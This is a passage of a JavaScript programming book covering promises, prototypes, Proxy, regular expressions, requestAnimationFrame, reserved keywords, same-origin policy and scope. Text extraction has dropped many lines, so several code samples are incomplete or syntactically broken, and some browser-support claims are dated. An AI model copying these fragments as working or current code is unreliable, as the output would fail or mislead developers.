If the engine is able to correctly predict you're using a specific small type for your values, it will be
able to optimize the executed code.
In this example, we'll use this trivial function summing the elements of an array and outputting the
time it took:
// summing properties
var sum = (function(arr){
var start = process.hrtime();
var sum = 0;
for (var i=0; i<arr.length; i++) {
sum += arr[i];
}
var diffSum = process.hrtime(start);
console.log(`Summing took ${diffSum[0] * 1e9 + diffSum[1]} nanoseconds`);
return sum;
})(arr);
var N = 12345,
arr = [];
for (var i=0; i<N; i++) arr[i] = Math.random();
https://riptutorial.com/ 421
Result:
var N = 12345,
arr = [];
for (var i=0; i<N; i++) arr[i] = Math.round(1000*Math.random());
Result:
Engines don't use the same types you have in JavaScript. As you probably know, all numbers in
JavaScript are IEEE754 double precision floating point numbers, there's no specific available
representation for integers. But engines, when they can predict you only use integers, can use a
more compact and faster to use representation, for example, short integers.
This kind of optimization is especially important for computation or data intensive applications.
https://riptutorial.com/ 422
www.dbooks.org
Chapter 73: Promises
Syntax
• new Promise( /* executor function: */ function(resolve, reject) { })
• promise.then(onFulfilled[, onRejected])
• promise.catch(onRejected)
• Promise.resolve(resolution)
• Promise.reject(reason)
• Promise.all(iterable)
• Promise.race(iterable)
Remarks
Promises are part of the ECMAScript 2015 specification and browser support is limited, with 88%
of browsers worldwide supporting it as of July 2017. The following table gives an overview of the
earliest browser versions that provide support for promises.
Chrome Edge Firefox Internet Explorer Opera Opera Mini Safari iOS Safari
32 12 27 x 19 x 7.1 8
In environments which do not support them, Promise can be polyfilled. Third-party libraries may
also provide extended functionalities, such as automated "promisification" of callback functions or
additional methods like progress—also known as notify.
The Promises/A+ standard website provides a list of 1.0 and 1.1 compliant implementations.
Promise callbacks based on the A+ standard are always executed asynchronously as microtasks
in the event loop.
Examples
Promise chaining
promise
// 5 seconds later
.then(() => 2)
// returning a value from a then callback will cause
// the new promise to resolve with this value
.then(value => { /* value === 2 */ });
Returning a Promise from a then callback will append it to the promise chain.
https://riptutorial.com/ 423
function wait(millis) {
return new Promise(resolve => setTimeout(resolve, millis));
}
A catch allows a rejected promise to recover, similar to how catch in a try/catch statement works.
Any chained then after a catch will execute its resolve handler using the value resolved from the
catch.
If there are no catch or reject handlers in the middle of the chain, a catch at the end will capture
any rejection in the chain:
On certain occasions, you may want to "branch" the execution of the functions. You can do it by
returning different promises from a function depending on the condition. Later in the code, you can
merge all of these branches into one to call other functions on them and/or to handle all errors in
one place.
promise
.then(result => {
if (result.condition) {
return handlerFn1()
.then(handlerFn2);
} else if (result.condition2) {
return handlerFn3()
.then(handlerFn4);
} else {
throw new Error("Invalid result");
}
})
.then(handlerFn5)
.catch(err => {
console.error(err);
});
The single catch will get the error on whichever branch it may occur.
https://riptutorial.com/ 424
www.dbooks.org
Introduction
A Promise object represents an operation which has produced or will eventually produce a value.
Promises provide a robust way to wrap the (possibly pending) result of asynchronous work,
mitigating the problem of deeply nested callbacks (known as "callback hell").
• pending — The underlying operation has not yet completed, and the promise is pending
fulfillment.
• fulfilled — The operation has finished, and the promise is fulfilled with a value. This is
analogous to returning a value from a synchronous function.
• rejected — An error has occurred during the operation, and the promise is rejected with a
reason. This is analogous to throwing an error in a synchronous function.
A promise is said to be settled (or resolved) when it is either fulfilled or rejected. Once a promise is
settled, it becomes immutable, and its state cannot change. The then and catch methods of a
promise can be used to attach callbacks that execute when it is settled. These callbacks are
invoked with the fulfillment value and rejection reason, respectively.
Example
const promise = new Promise((resolve, reject) => {
// Perform some work (possibly asynchronous)
// ...
https://riptutorial.com/ 425
if (/* Work has successfully finished and produced "value" */) {
resolve(value);
} else {
// Something went wrong because of "reason"
// The reason is traditionally an Error object, although
// this is not required or enforced.
let reason = new Error(message);
reject(reason);
The then and catch methods can be used to attach fulfillment and rejection callbacks:
promise.then(value => {
// Work has completed successfully,
// promise has been fulfilled with "value"
}).catch(reason => {
// Something went wrong,
// promise has been rejected with "reason"
});
Note: Calling promise.then(...) and promise.catch(...) on the same promise might result in an
Uncaught exception in Promise if an error occurs, either while executing the promise or inside one
of the callbacks, so the preferred way would be to attach the next listener on the promise returned
by the previous then / catch.
promise.then(onFulfilled, onRejected);
Attaching callbacks to a promise that has already been settled will immediately place them in the
microtask queue, and they will be invoked "as soon as possible" (i.e. immediately after the
currently executing script). It is not necessary to check the state of the promise before attaching
callbacks, unlike with many other event-emitting implementations.
Live demo
The setTimeout() method calls a function or evaluates an expression after a specified number of
milliseconds. It is also a trivial way to achieve an asynchronous operation.
In this example calling the wait function resolves the promise after the time specified as first
argument:
function wait(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
https://riptutorial.com/ 426
www.dbooks.org
}
wait(5000).then(() => {
console.log('5 seconds have passed...');
});
The Promise.all() static method accepts an iterable (e.g. an Array) of promises and returns a new
promise, which resolves when all promises in the iterable have resolved, or rejects if at least one
of the promises in the iterable have rejected.
Promise.all([
resolve(1, 5000),
resolve(2, 6000),
resolve(3, 7000)
]).then(values => console.log(values)); // outputs "[1, 2, 3]" after 7 seconds.
Promise.all([
resolve(1, 5000),
reject('Error!', 6000),
resolve(2, 7000)
]).then(values => console.log(values)) // does not output anything
.catch(reason => console.log(reason)); // outputs "Error!" after 6 seconds.
Promise.all([
resolve(1, 5000),
resolve(2, 6000),
{ hello: 3 }
])
.then(values => console.log(values)); // outputs "[1, 2, { hello: 3 }]" after 6 seconds
Promise.all([
resolve(1, 5000),
resolve(2, 6000),
resolve(3, 7000)
])
.then(([result1, result2, result3]) => {
console.log(result1);
console.log(result2);
console.log(result3);
});
https://riptutorial.com/ 427
Waiting for the first of multiple concurrent promises
The Promise.race() static method accepts an iterable of Promises and returns a new Promise
which resolves or rejects as soon as the first of the promises in the iterable has resolved or
rejected.
Promise.race([
resolve(1, 5000),
resolve(2, 3000),
resolve(3, 1000)
])
.then(value => console.log(value)); // outputs "3" after 1 second.
Promise.race([
reject(new Error('bad things!'), 1000),
resolve(2, 2000)
])
.then(value => console.log(value)) // does not output anything
.catch(error => console.log(error.message)); // outputs "bad things!" after 1 second
"Promisifying" values
The Promise.resolve static method can be used to wrap values into promises.
In fact, value can be any "thenable" (object defining a then method that works sufficiently like a
spec-compliant promise). This allows Promise.resolve to convert untrusted 3rd-party objects into
trusted 1st-party Promises.
https://riptutorial.com/ 428
www.dbooks.org
let resolved = Promise.resolve({
then(onResolved) {
onResolved(2);
}
});
resolved.then(value => {
// immediately invoked
// value === 2
});
The Promise.reject static method returns a promise which immediately rejects with the given
reason.
function promiseFooFn(options) {
return new Promise((resolve, reject) =>
fooFn(options, (err, result) =>
// If there's an error, reject; otherwise resolve
err ? reject(err) : resolve(result)
)
);
}
promiseFooFn(options).then(result => {
// success!
}).catch(err => {
// error!
});
In a more generic way, here's how to promisify any given callback-style function:
function promisify(func) {
return function(...args) {
return new Promise((resolve, reject) => {
func(...args, (err, result) => err ? reject(err) : resolve(result));
});
}
}
https://riptutorial.com/ 429
This can be used like this:
const fs = require('fs');
const promisedStat = promisify(fs.stat.bind(fs));
promisedStat('/foo/bar')
.then(stat => console.log('STATE', stat))
.catch(err => console.log('ERROR', err));
Error Handling
Errors thrown from promises are handled by the second parameter (reject) passed to then or by
the handler passed to catch:
throwErrorAsync()
.then(null, error => { /* handle error here */ });
// or
throwErrorAsync()
.catch(error => { /* handle error here */ });
Chaining
If you have a promise chain then an error will cause resolve handlers to be skipped:
throwErrorAsync()
.then(() => { /* never called */ })
.catch(error => { /* handle error here */ });
The same applies to your then functions. If a resolve handler throws an exception then the next
reject handler will be invoked:
doSomethingAsync()
.then(result => { throwErrorSync(); })
.then(() => { /* never called */ })
.catch(error => { /* handle error from throwErrorSync() */ });
An error handler returns a new promise, allowing you to continue a promise chain. The promise
returned by the error handler is resolved with the value returned by the handler:
throwErrorAsync()
.catch(error => { /* handle error here */; return result; })
.then(result => { /* handle result here */ });
You can let an error cascade down a promise chain by re-throwing the error:
throwErrorAsync()
.catch(error => {
/* handle error from throwErrorAsync() */
throw error;
})
.then(() => { /* will not be called if there's an error */ })
https://riptutorial.com/ 430
www.dbooks.org
.catch(error => { /* will get called with the same error */ });
It is possible to throw an exception that is not handled by the promise by wrapping the throw
statement inside a setTimeout callback:
Unhandled rejections
An error will be silently ignored if a promise doesn't have a catch block or reject handler:
throwErrorAsync()
.then(() => { /* will not be called */ });
// error silently ignored
throwErrorAsync()
.then(() => { /* will not be called */ })
.catch(error => { /* handle error*/ });
// or
throwErrorAsync()
.then(() => { /* will not be called */ }, error => { /* handle error*/ });
Alternatively, subscribe to the unhandledrejection event to catch any unhandled rejected promises:
Some promises can handle their rejection later than their creation time. The rejectionhandled event
gets fired whenever such a promise is handled:
// Will print 'unhandled', and after one second 'test' and 'handled'
The event argument contains information about the rejection. event.reason is the error object and
event.promise is the promise object that caused the event.
In Nodejs the rejectionhandled and unhandledrejection events are called rejectionHandled and
unhandledRejection on process, respectively, and have a different signature:
https://riptutorial.com/ 431
process.on('unhandledRejection', (reason, promise) => {});
The reason argument is the error object and the promise argument is a reference to the promise
object that caused the event to fire.
Note: Currently, only Chrome 49+ and Node.js support unhandledrejection and rejectionhandled
events.
Caveats
Chaining with fulfill and reject
The then(fulfill, reject) function (with both parameters not null) has unique and complex
behavior, and shouldn't be used unless you know exactly how it works.
The function works as expected if given null for one of the inputs:
The then(fulfill, reject) function looks like it is a shortcut for then(fulfill).catch(reject), but it
is not, and will cause problems if used interchangeably. One such problem is that the reject
handler does not handle errors from the fulfill handler. Here is what will happen:
The above code will result in a rejected promise because the error is propagated. Compare it to
the following code, which results in a fulfilled promise:
https://riptutorial.com/ 432
www.dbooks.org
Promise.resolve() // previous promise is fulfilled
.then(() => { throw new Error(); }) // error in the fulfill handler
.catch(error => { /* handle error */ });
function foo(arg) {
if (arg === 'unexepectedValue') {
throw new Error('UnexpectedValue')
}
If such function is used in the middle of a promise chain, then apparently there is no problem:
makeSomethingAsync().
.then(() => foo('unexpectedValue'))
.catch(err => console.log(err)) // <-- Error: UnexpectedValue will be caught here
However, if the same function is called outside of a promise chain, then the error will not be
handled by it and will be thrown to the application:
function foo(arg) {
if (arg === 'unexepectedValue') {
return Promise.reject(new Error('UnexpectedValue'))
}
https://riptutorial.com/ 433
Wrap your function into a promise chain
Your throw statement will be properly caught when it is already inside a promise chain:
function foo(arg) {
return Promise.resolve()
.then(() => {
if (arg === 'unexepectedValue') {
throw new Error('UnexpectedValue')
}
In some cases you may want to wrap a synchronous operation inside a promise to prevent
repetition in code branches. Take this example:
The synchronous and asynchronous branches of the above code can be reconciled by
redundantly wrapping the synchronous operation inside a promise:
fetch.then(processResult);
When caching the result of an asynchronous call, it is preferable to cache the promise rather than
the result itself. This ensures that only one asynchronous operation is required to resolve multiple
parallel requests.
Care should be taken to invalidate cached values when error conditions are encountered.
function fetchResult() {
if (!cachedPromise) {
cachedPromise = fetch(planets)
.catch(function (e) {
// Invalidate the current result to retry on the next fetch
https://riptutorial.com/ 434
www.dbooks.org
cachedPromise = null;
// re-raise the error to propagate it to callers
throw e;
});
}
return cachedPromise;
}
This design pattern is useful for generating a sequence of asynchronous actions from a list of
elements.
• the "then" reduction, which builds a chain that continues as long as the chain experiences
success.
• the "catch" reduction, which builds a chain that continues as long as the chain experiences
error.
This variant of the pattern builds a .then() chain, and might be used for chaining animations, or
making a sequence of dependent HTTP requests.
Explanation:
This variant of the pattern builds a .catch() chain and might be used for sequentially probing a set
of web servers for some mirrored resource until a working server is found.
https://riptutorial.com/ 435
var working_resource = 5; // one of the values from the source array
[1, 3, 5, 7, 9].reduce((seq, n) => {
return seq.catch(() => {
console.log(n);
if(n === working_resource) { // 5 is working
return new Promise((resolve, reject) => setTimeout(() => resolve(n), 1000));
} else { // all other values are not working
return new Promise((resolve, reject) => setTimeout(reject, 1000));
}
});
}, Promise.reject()).then(
(n) => console.log('success at: ' + n),
() => console.log('total failure')
);
// will log 1, 3, 5, 'success at 5' at 1s intervals
Explanation:
It is possible to effectively apply a function (cb) which returns a promise to each element of an
array, with each element waiting to be processed until the previous element is processed.
This can be helpful if you need to efficiently process thousands of items, one at a time. Using a
https://riptutorial.com/ 436
www.dbooks.org
regular for loop to create the promises will create them all at once and take up a significant
amount of RAM.
There is currently a proposal (not yet part of the ECMAScript standard) to add a finally callback
to promises that will be executed regardless of whether the promise is fulfilled or rejected.
Semantically, this is similar to the finally clause of the try block.
fetch('/data')
.then(result => processData(result.data))
.catch(error => console.error(error))
.finally(() => {
loadingData = false;
});
It is important to note that the finally callback doesn't affect the state of the promise. It doesn't
matter what value it returns, the promise stays in the fulfilled/rejected state that it had before. So in
the example above the promise will be resolved with the return value of processData(result.data)
even though the finally callback returned undefined.
With the standardization process still being in progress, your promises implementation most likely
won't support finally callbacks out of the box. For synchronous callbacks you can add this
functionality with a polyfill however:
if (!Promise.prototype.finally) {
Promise.prototype.finally = function(callback) {
return this.then(result => {
callback();
return result;
}, error => {
callback();
throw error;
});
};
}
This is an example of a simple GET API call wrapped in a promise to take advantage of its
asynchronous functionality.
https://riptutorial.com/ 437
request.send();
});
};
More robust error handling can be done using the following onload and onerror functions.
request.onload = function() {
if (this.status >= 200 && this.status < 300) {
if(request.response) {
// Assuming a successful call returns JSON
resolve(JSON.parse(request.response));
} else {
resolve();
} else {
reject({
'status': this.status,
'message': request.statusText
});
}
};
request.onerror = function() {
reject({
'status': this.status,
'message': request.statusText
});
};
The same example above, Image loading, can be written using async functions. This also allows
using the common try/catch method for exception handling.
Note: as of April 2017, the current releases of all browsers but Internet Explorer supports async
functions.
function loadImage(url) {
return new Promise((resolve, reject) => {
const img = new Image();
img.addEventListener('load', () => resolve(img));
img.addEventListener('error', () => {
reject(new Error(`Failed to load ${url}`));
});
img.src = url;
});
}
(async () => {
https://riptutorial.com/ 438
www.dbooks.org
})();
https://riptutorial.com/ 439
Chapter 74: Prototypes, objects
Introduction
In the conventional JS there are no class instead we have prototypes. Like the class, prototype
inherits the properties including the methods and the variables declared in the class. We can
create the new instance of the object when ever it is necessary by ,
Object.create(PrototypeName); (we can give the value for the constructor as well)
Examples
Creation and initialising Prototype
};
Person.prototype.greet = function() {
if (this.canSpeak) { // checks whether this prototype has instance of speak
this.name = "Steve"
console.log('Hi, I am ' + this.name);
} else{
console.log('Sorry i can not speak');
}
};
obj = Object.create(Person.prototype);
ob.greet();
We can pass value for the constructor and make the boolean true and false based on the
requirement.
Detailed Explanation
https://riptutorial.com/ 440
www.dbooks.org
this.name = name; // inherting the name from the human class
this.title = title; // getting the title from the called function
};
Student.prototype = Object.create(Human.prototype);
Student.prototype.constructor = Student;
Student.prototype.greet = function() {
if (this.canSpeak) {
console.log('Hi, I am ' + this.name + ', the ' + this.title);
}
};
bill.greet();
// Hi, I am Bob, the Teacher
carter.greet();
// Hi, I am Carter
andy.greet();
// Hi, I am Andy, the Bill
virat.greet();
https://riptutorial.com/ 441
Chapter 75: Proxy
Introduction
A Proxy in JavaScript can be used to modify fundamental operations on objects. Proxies were
introduced in ES6. A Proxy on an object is itself an object, that has traps. Traps may be triggered
when operations are performed on the Proxy. This includes property lookup, function calling,
modifying properties, adding properties, et cetera. When no applicable trap is defined, the
operation is performed on the proxied object as if there was no Proxy.
Syntax
• let proxied = new Proxy(target, handler);
Parameters
Parameter Details
The target object, actions on this object (getting, setting, etc...) will be routed
target
trough the handler
An object that can define "traps" for intercepting actions on the target object
handler
(getting, setting, etc...)
Remarks
A full list of available "traps" can be found on MDN - Proxy - "Methods of the handler object".
Examples
Very simple proxy (using the set trap)
This proxy simply appends the string " went through proxy" to every string property set on the
target object.
let handler = {
set(target, prop, value){ // Note that ES6 object syntax is used
if('string' === typeof value){
target[prop] = value + " went through proxy";
}
}
};
https://riptutorial.com/ 442
www.dbooks.org
let proxied = new Proxy(object, handler);
proxied.example = "ExampleValue";
console.log(object);
// logs: { example: "ExampleValue went trough proxy" }
// you could also access the object via proxied.target
In this example, we modify property lookup so that not only the value, but also the type of that
value is returned. We use Reflect to ease this.
let handler = {
get(target, property) {
if (!Reflect.has(target, property)) {
return {
value: undefined,
type: 'undefined'
};
}
let value = Reflect.get(target, property);
return {
value: value,
type: typeof value
};
}
};
https://riptutorial.com/ 443
Chapter 76: Regular expressions
Syntax
• let regex = /pattern/[flags]
• let regex = new RegExp('pattern', [flags])
• let ismatch = regex.test('text')
• let results = regex.exec('text')
Parameters
Flags Details
multi-line. Causes ^ & $ to match the begin/end of each line (not only begin/end of
m
string).
unicode : Pattern strings are treated as UTF-16. Also causes escape sequences to
u
match Unicode characters.
sticky: matches only from the index indicated by the lastIndex property of this regular
y expression in the target string (and does not attempt to match from any later
indexes).
Remarks
The RegExp object is only as useful as your knowledge of Regular Expressions is strong. See
here for an introductory primer, or see MDN for a more in-depth explanation.
Examples
Creating a RegExp Object
Standard Creation
It is recommended to use this form only when creating regex from dynamic variables.
Use when the expression may change or the expression is user generated.
https://riptutorial.com/ 444
www.dbooks.org
With flags:
With a backslash: (this must be escaped because the regex is specified with a string)
Static initialization
Use when you know the regular expression will not change, and you know what the expression is
before runtime.
var re = /.*/;
With flags:
var re = /.*/gmi;
With a backslash: (this should not be escaped because the regex is specified in a literal)
var re = /\w*/;
RegExp Flags
There are several flags you can specify to alter the RegEx behaviour. Flags may be appended to
the end of a regex literal, such as specifying gi in /test/gi, or they may be specified as the second
argument to the RegExp constructor, as in new RegExp('test', 'gi').
m- Multiline. ^ and $ match the beginning and end of each line respectively treating \n and \r as
delimiters instead of simply the beginning and end of the entire string.
u- Unicode. If this flag is not supported you must match specific Unicode characters with \uXXXX
where XXXX is the character's value in hexadecimal.
https://riptutorial.com/ 445
RegExp.prototype.exec(string) returns an array of captures, or null if there was no match.
var re = /([0-9]+)[a-z]+/;
var match = re.exec("foo123bar");
match[1] is the text corresponding to the first captured group. match[n] would be the value of the n
th captured group.
var re = /a/g;
var result;
while ((result = re.exec('barbatbaz')) !== null) {
console.log("found '" + result[0] + "', next exec starts at index '" + re.lastIndex +
"'");
}
Expected output
var re = /[a-z]+/;
if (re.test("foo")) {
console.log("Match exists.");
}
The test method performs a search to see if a regular expression matches a string. The regular
expression [a-z]+ will search for one or more lowercase letters. Since the pattern matches the
string, “match exists” will be logged to the console.
The String object has the following methods that accept regular expressions as arguments.
• "string".match(...
• "string".replace(...
• "string".split(...
• "string".search(...
https://riptutorial.com/ 446
www.dbooks.org
console.log("string".match(/[i-n]+/));
console.log("string".match(/(r)[i-n]+/));
Expected output
Array ["in"]
Array ["rin", "r"]
console.log("string".replace(/[i-n]+/, "foo"));
Expected output
strfoog
console.log("stringstring".split(/[i-n]+/));
Expected output
console.log("string".search(/[i-n]+/));
console.log("string".search(/[o-q]+/));
Expected output
3
-1
can have a function as its second argument so you can provide a replacement
String#replace
based on some logic.
https://riptutorial.com/ 447
// will return Start string End
RegExp Groups
JavaScript supports several types of group in it's Regular Expressions, capture groups, non-
capture groups and look-aheads. Currently, there is no look-behind support.
Capture
Sometimes the desired match relies on it's context. This means a simple RegExp will over-find the
piece of the String that is of interest, so the solution is to write a capture group (pattern). The
captured data can then be referenced as...
Say there is a String where all + signs need to be replaced with a space, but only if they follow a
letter character. This means a simple match would include that letter character and it would also
be removed. Capturing it is the solution as it means the matched letter can be preserved.
// String replacement
str.replace(re, '$1 '); // "aa b cc 1+2"
// Function replacement
str.replace(re, (m, $1) => $1 + ' '); // "aa b cc 1+2"
Non-Capture
Using the form (?:pattern), these work in a similar way to capture groups, except they do not store
the contents of the group after the match.
They can be particularly useful if other data is being captured which you don't want to move the
indices of, but need to do some advanced pattern matching such as an OR
https://riptutorial.com/ 448
www.dbooks.org
str.replace(re, '$1 '); // "aa+b c 1+2"
Look-Ahead
If the desired match relies on something which follows it, rather than matching that and capturing
it, it is possible to use a look-ahead to test for it but not include it in the match. A positive look-
ahead has the form (?=pattern), a negative look-ahead (where the expression match only happens
if the look-ahead pattern did not match) has the form (?!pattern)
Sometimes you doesn't want to simply replace or remove the string. Sometimes you want to
extract and process matches. Here an example of how you manipulate matches.
What is a match ? When a compatible substring is found for the entire regex in the string, the exec
command produce a match. A match is an array compose by firstly the whole substring that
matched and all the parenthesis in the match.
<html>
<head></head>
<body>
<h1>Example</h1>
<p>Look a this great link : <a href="https://stackoverflow.com">Stackoverflow</a>
http://anotherlinkoutsideatag</p>
Copyright <a href="https://stackoverflow.com">Stackoverflow</a>
</body>
You want to extract and get all the links inside an a tag. At first, here the regex you write :
var re = /<a[^>]*href="https?:\/\/.*"[^>]*>[^<]*<\/a>/g;
But now, imagine you want the href and the anchor of each link. And you want it together. You can
simply add a new regex in for each match OR you can use parentheses :
var re = /<a[^>]*href="(https?:\/\/.*)"[^>]*>([^<]*)<\/a>/g;
var str = '<html>\n <head></head>\n <body>\n <h1>Example</h1>\n <p>Look a
this great link : <a href="https://stackoverflow.com">Stackoverflow</a>
http://anotherlinkoutsideatag</p>\n\n Copyright <a
href="https://stackoverflow.com">Stackoverflow</a>\n </body>\';\n';
var m;
var links = [];
https://riptutorial.com/ 449
if (m.index === re.lastIndex) {
re.lastIndex++;
}
console.log(m[0]); // The all substring
console.log(m[1]); // The href subpart
console.log(m[2]); // The anchor subpart
links.push({
match : m[0], // the entire match
href : m[1], // the first parenthesis => (https?:\/\/.*)
anchor : m[2], // the second one => ([^<]*)
});
}
At the end of the loop, you have an array of link with anchor and href and you can use it to write
markdown for example :
links.forEach(function(link) {
console.log('[%s](%s)', link.anchor, link.href);
});
To go further :
• Nested parenthesis
https://riptutorial.com/ 450
www.dbooks.org
Chapter 77: requestAnimationFrame
Syntax
• window.requestAnimationFrame(callback);
• window.webkitRequestAnimationFrame(callback);
• window.mozRequestAnimationFrame(callback);
Parameters
Parameter Details
"A parameter specifying a function to call when it's time to update your
callback animation for the next repaint." (https://developer.mozilla.org/en-
US/docs/Web/API/window/requestAnimationFrame)
Remarks
When it comes to animating DOM elements fluidly, we are limited to the following CSS transitions:
However, using these is no guarantee that your animations will be fluid, because it causes the
browser to start new paint cycles, regardless of what else is going on. Basically, paint are made
inefficiently and your animation looks "janky" because the frames per second (FPS) suffers.
The reason this works, is because the requestAnimationFrame API lets the browser know that you
want an animation to happen at the next paint cycle, as opposed to interrupting what's going
on to force a new paint cycle in when a non-RAF animation is called.
References URL
What is
http://jankfree.org/
jank?
High
Performance http://www.html5rocks.com/en/tutorials/speed/high-performance-animations/.
Animations
https://riptutorial.com/ 451
References URL
https://developers.google.com/web/tools/chrome-devtools/profile/evaluate-
R.A.I.L.
performance/rail?hl=en
Analyzing
Critical https://developers.google.com/web/fundamentals/performance/critical-rendering-
Rendering path/analyzing-crp?hl=en
Path
Rendering
https://developers.google.com/web/fundamentals/performance/rendering/?hl=en
Performance
Analyzing https://developers.google.com/web/updates/2013/02/Profiling-Long-Paint-Times-
Paint Times with-DevTools-Continuous-Painting-Mode?hl=en
Identifying
https://developers.google.com/web/fundamentals/performance/rendering/simplify-
Paint
paint-complexity-and-reduce-paint-areas?hl=en
Bottlenecks
Examples
Use requestAnimationFrame to fade in element
<html>
<body>
<h1>This will fade in at 60 frames per second (or as close to possible as your
hardware allows)</h1>
<script>
// Fade in over 2000 ms = 2 seconds.
var FADE_DURATION = 2.0 * 1000;
// Function to
function eachFrame() {
// Time that animation has been running (in ms)
// Uncomment the console.log function to view how quickly
https://riptutorial.com/ 452
www.dbooks.org
// the timeRunning updates its value (may affect performance)
var timeRunning = (new Date()).getTime() - startTime;
//console.log('var timeRunning = '+timeRunning+'ms');
if (startTime < 0) {
// This branch: executes for the first frame only.
// it sets the startTime, then renders at currTime = 0.0
startTime = (new Date()).getTime();
render(0.0);
} else if (timeRunning < FADE_DURATION) {
// This branch: renders every frame, other than the 1st frame,
// with the new timeRunning value.
render(timeRunning);
} else {
return;
}
Cancelling an Animation
To cancel a call to requestAnimationFrame, you need the id it returned from when it was last called.
This is the parameter you use for cancelAnimationFrame. The following example starts some
hypothetical animation then pauses it after one second.
// draw something
function draw(timestamp) {
// do some animation
// request next frame
start();
}
// begin now
https://riptutorial.com/ 453
start();
Keeping Compatability
Of course, just like most things in browser JavaScript, you just can't count on the fact that
everything will be the same everywhere. In this case, requestAnimationFrame might have a prefix on
some platforms and are named differently, such as webkitRequestAnimationFrame. Fortunately,
there's a really easy way to group all the known differences that could exist down to 1 function:
window.requestAnimationFrame = (function(){
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
function(callback){
window.setTimeout(callback, 1000 / 60);
};
})();
Note that the last option (which fills in when no existing support was found) will not return an id to
be used in cancelAnimationFrame. There is, however an efficient polyfill that was written which fixes
this.
https://riptutorial.com/ 454
www.dbooks.org
Chapter 78: Reserved Keywords
Introduction
Certain words - so-called keywords - are treated specially in JavaScript. There's a plethora of
different kinds of keywords, and they have changed in different versions of the language.
Examples
Reserved Keywords
ECMAScript 1
1
A—E E—R S—Z
debugger if typeof
delete in void
do new while
enum return
ECMAScript 2
Added 24 additional reserved keywords. (New additions in bold).
https://riptutorial.com/ 455
3E4X
A—F F—P P—Z
char if synchronized
continue in throws
do long typeof
false protected
ECMAScript 5 / 5.1
There was no change since ECMAScript 3.
ECMAScript 5 removed int, byte, char, goto, long, final, float, short, double, native, throws, boolean
, abstract, volatile, transient, and synchronized; it added let and yield.
https://riptutorial.com/ 456
www.dbooks.org
A—F F—P P—Z
class if super
debugger in throw
do let typeof
implements, let, private, public, interface, package, protected, static, and yield are
disallowed in strict mode only.
eval and arguments are not reserved words but they act like it in strict mode.
continue if typeof
default in void
do new with
https://riptutorial.com/ 457
Future reserved keywords
The following are reserved as future keywords by the ECMAScript specification. They have no
special functionality at present, but they might at some future time, so they cannot be used as
identifiers.
enum
The following are only reserved when they are found in strict mode code:
let protected
The following are reserved as future keywords by older ECMAScript specifications (ECMAScript 1
till 3).
final native
Additionally, the literals null, true, and false cannot be used as identifiers in ECMAScript.
With regards to reserved words there is a small distinctions between the "Identifiers" used for the
likes of variable or function names and the "Identifier Names" allowed as properties of composite
data types.
https://riptutorial.com/ 458
www.dbooks.org
However the name is deemed valid as a property of an object (as of ECMAScript 5+):
var obj = {
break: true
};
console.log(obj.break);
Section 7.6
Identifier Names are tokens that are interpreted according to the grammar given in the
“Identifiers” section of chapter 5 of the Unicode standard, with some small
modifications. An Identifier is an IdentifierName that is not a ReservedWord (see 7.6.1).
Syntax
Identifier ::
IdentifierName but not ReservedWord
Section 7.6.1
ReservedWord ::
Keyword
FutureReservedWord
NullLiteral
BooleanLiteral
This includes keywords, future keywords, null, and boolean literals. The full list of keywords are in
Sections 7.6.1 and literals are in Section 7.8.
The above (Section 7.6) implies that IdentifierNames can be ReservedWords, and from the
specification for object initializers:
Section 11.1.5
Syntax
ObjectLiteral :
{ }
{ PropertyNameAndValueList }
{ PropertyNameAndValueList , }
https://riptutorial.com/ 459
PropertyName :
IdentifierName
StringLiteral
NumericLiteral
Note: the syntax highlighter in this example has spotted the reserved word and still highlighted it.
While the example is valid Javascript developers can get caught out by some compiler / transpiler,
linter and minifier tools that argue otherwise.
https://riptutorial.com/ 460
www.dbooks.org
Chapter 79: Same Origin Policy & Cross-
Origin Communication
Introduction
Same-Origin policy is used by web browsers to prevent scripts to be able to access remote
content if the remote address has not the same origin of the script. This prevents malicious scripts
from performing requests to other websites to obtain sensitive data.
The origin of two addresses is considered the same if both URLs have the same protocol,
hostname and port.
Examples
Ways to circumvent Same-Origin Policy
As far as client-side JavaScript engines are concerned (those running inside a browser), there is
no straightforward solution available for requesting content from sources other than the current
domain. (By the way, this limitation does not exist in JavaScript-server tools such as Node JS.)
However, it is (in some situations) indeed possible to retrieve data from other sources using the
following methods. Please do note that some of them may present hacks or workarounds instead
of solutions production system should rely on.
Method 1: CORS
Most public APIs today allow developers to send data bidirectionally between client and server by
enabling a feature called CORS (Cross-Origin Resource Sharing). The browser will check if a
certain HTTP header (Access-Control-Allow-Origin) is set and that the requesting site's domain is
listed in the header's value. If it is, then the browser will allow establishing AJAX connections.
However, because developers cannot change other servers' response headers, this method can't
always be relied on.
Method 2: JSONP
JSON with Padding is commonly blamed to be a workaround. It is not the most straightforward
method, but it still gets the job done. This method takes advantage of the fact that script files can
be loaded from any domain. Still, it is crucial to mention that requesting JavaScript code from
external sources is always a potential security risk and this should generally be avoided if there's
a better solution available.
https://riptutorial.com/ 461
The data requested using JSONP is typically JSON, which happens to fit the syntax used for
object definition in JavaScript, making this method of transport very simple. A common way to let
websites use the external data obtained via JSONP is to wrap it inside a callback function, which
is set via a GET parameter in the URL. Once the external script file loads, the function will be called
with the data as its first parameter.
<script>
function myfunc(obj){
console.log(obj.example_field);
}
</script>
<script src="http://example.com/api/endpoint.js?callback=myfunc"></script>
myfunc({"example_field":true})
The function always has to be defined first, otherwise it won't be defined when the external script
loads.
The window.postMessage() method together with its relative event handler window.onmessage can be
safely used to enable cross-origin communication.
The postMessage() method of the target window can be called to send a message to another window,
which will be able to intercept it with its onmessage event handler, elaborate it, and, if necessary,
send a response back to the sender window using postMessage() again.
• Content of http://other-site.com/index.html:
• Content of main_site_script.js:
https://riptutorial.com/ 462
www.dbooks.org
// Add a listener for a response
window.addEventListener('message', function(evt) {
• Content of other_site_script.js:
window.addEventListener('message', function(evt) {
https://riptutorial.com/ 463
Chapter 80: Scope
Remarks
Scope is the context in which variables live and can be accessed by other code in the same
scope. Because JavaScript can largely be used as a functional programming language, knowing
the scope of variables and functions is important as it helps to prevent bugs and unexpected
behavior at runtime.
Examples
Difference between var and let
(Note: All examples using let are also valid for const)
varis available in all versions of JavaScript, while let and const are part of ECMAScript 6 and only
available in some newer browsers.
var is scoped to the containing function or the global space, depending when it is declared:
function DoThings() {
var x = 7; // function scope
console.log(x);
}
console.log(x); // >> 4
DoThings(); // >> 7
console.log(x); // >> 4
var x = 4;
if (true) {
var x = 7;
}
